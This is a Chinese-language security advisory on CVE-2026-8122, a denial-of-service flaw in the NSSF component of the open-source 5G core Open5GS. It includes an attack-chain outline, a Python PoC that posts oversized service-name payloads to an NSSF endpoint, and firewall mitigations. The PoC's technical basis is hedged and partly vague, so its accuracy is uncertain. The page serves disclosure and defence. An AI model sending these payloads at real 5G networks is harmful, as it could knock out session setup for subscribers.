IPBUF安全漏洞报告
English
CVE-2026-8122 CVSS 4.3 中危

CVE-2026-8122 Open5GS NSSF组件拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-8122
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务DoSOpen5GS5GNSSFCVE-2026-8122

漏洞概述

Open5GS是一款开源的5G核心网实现。在2.7.7及之前版本中,NSSF组件的`ogs_sbi_discovery_option_add_service_names`函数存在安全漏洞。攻击者可利用该漏洞,通过网络远程发送特制数据包,导致目标服务处理异常并引发拒绝服务。目前该漏洞利用方式已公开,但官方尚未发布修复补丁,建议及时关注更新。

技术细节

该漏洞位于Open5GS的NSSF(网络切片选择功能)组件的源代码文件`/lib/sbi/message.c`中。具体受影响的函数是`ogs_sbi_discovery_option_add_service_names`。该函数在处理服务发现选项时,未能正确验证输入数据的有效性或长度边界。当攻击者构造包含畸形服务名称列表的SBI(Service Based Interface)消息并发送至NSSF接口时,可能触发内存管理错误(如缓冲区溢出)或逻辑死循环。由于Open5GS以root权限或高权限运行,这种崩溃将直接导致NSSF进程终止,影响5G网络的切片选择和会话建立能力,造成网络层面的拒绝服务。

攻击链分析

STEP 1
侦察阶段
攻击者扫描互联网或内网,寻找暴露Open5GS NSSF接口(端口8000或类似SBI端口)的主机。
STEP 2
漏洞利用
攻击者向目标NSSF端点发送特制的HTTP POST请求,请求体中包含畸形的服务名称列表,旨在触发`ogs_sbi_discovery_option_add_service_names`函数的缺陷。
STEP 3
系统崩溃
Open5GS进程在解析恶意数据时发生异常并崩溃,导致NSSF服务不可用。
STEP 4
拒绝服务
由于NSSF负责网络切片选择,其失效导致终端无法建立会话,实现5G核心网功能的拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration # Open5GS NSSF typically listens on port 8000 (or configured SBI port) target_host = "<TARGET_IP>" target_port = "8000" url = f"http://{target_host}:{target_port}/nssf-nssf/v1/nsi-management" # Helper to create malicious payload targeting the vulnerable function # The vulnerability involves ogs_sbi_discovery_option_add_service_names # We send a large number of service names to induce parsing stress/crash def generate_malicious_payload(): payloads = [] # Case 1: Extremely long service name payloads.append({"nrfId": "http://localhost", "serviceNames": ["A" * 10000]}) # Case 2: Massive array of service names payloads.append({"nrfId": "http://localhost", "serviceNames": ["svc-{}".format(i) for i in range(10000)]}) return payloads print(f"[*] Attempting to trigger DoS on {target_host}...") for payload in generate_malicious_payload(): try: headers = {'Content-Type': 'application/json', 'Accept': 'application/json'} response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Potential DoS triggered (Server Timeout)") except requests.exceptions.ConnectionError: print("[+] Potential DoS triggered (Connection Refused/Dropped)") except Exception as e: print(f"Error: {e}")

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未修复补丁,建议在防火墙层面限制对NSSF端口的访问,仅允许受信任的AMF和SMF网元IP地址通信。同时,可以通过配置日志监控异常的SBI请求流量,及时发现攻击尝试。

参考链接